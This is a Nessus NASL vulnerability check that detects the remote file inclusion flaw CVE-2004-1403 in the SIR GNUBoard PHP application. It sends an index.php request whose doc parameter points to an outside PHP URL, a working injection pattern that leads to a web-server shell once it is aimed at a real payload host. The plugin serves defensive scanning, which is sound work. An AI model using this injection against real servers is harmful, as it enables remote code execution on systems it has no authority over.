SIR GNUBoard Remote File Inclusion

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if(description)
{
  script_id(15975);
  script_version("1.17");

  script_cve_id("CVE-2004-1403");
  script_bugtraq_id(11948);

  script_name(english:"SIR GNUBoard Remote File Inclusion");
  script_summary(english:"Checks for the presence of index.php");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server is running a PHP application that is affected by
a remote file inclusion vulnerability." );
  script_set_attribute(attribute:"description", value:
"It is possible to make the remote web server read arbitrary files by 
using the GNUBoard CGI suite which is installed.

An attacker may use this flaw to inject arbitrary code in the remote
host and gain a shell with the privileges of the web server." );
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/384522/30/0/threaded" );
  script_set_attribute(attribute:"solution", value:
"Upgrade to GNUBoard 3.40 or later." );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:W/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:W/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2004-1403");
  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"plugin_publication_date", value: "2004/12/15");
  script_set_attribute(attribute:"vuln_publication_date", value: "2004/12/14");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_end_attributes();
 
  script_category(ACT_ATTACK);
  script_copyright(english:"This script is Copyright (C) 2004-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"CGI abuses");
  
  script_dependencie("http_version.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_keys("www/PHP");
  exit(0);
}

#
# The script code starts here
#


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:80, embedded: 0);
if(!can_host_php(port:port))exit(0);



function check(loc)
{
 local_var r;

 r = http_send_recv3(method:"GET", item:string(loc, "/index.php?doc=http://example.com/foo.php"), port:port);
 if (isnull(r)) exit(0);
 if( "http://example.com/" >< r[2] &&
     "php_network_getaddresses" >< r[2] )
 {
   security_hole(port);
   exit(0);
 }
}

foreach dir ( cgi_dirs() )
{
 check(loc:dir);
}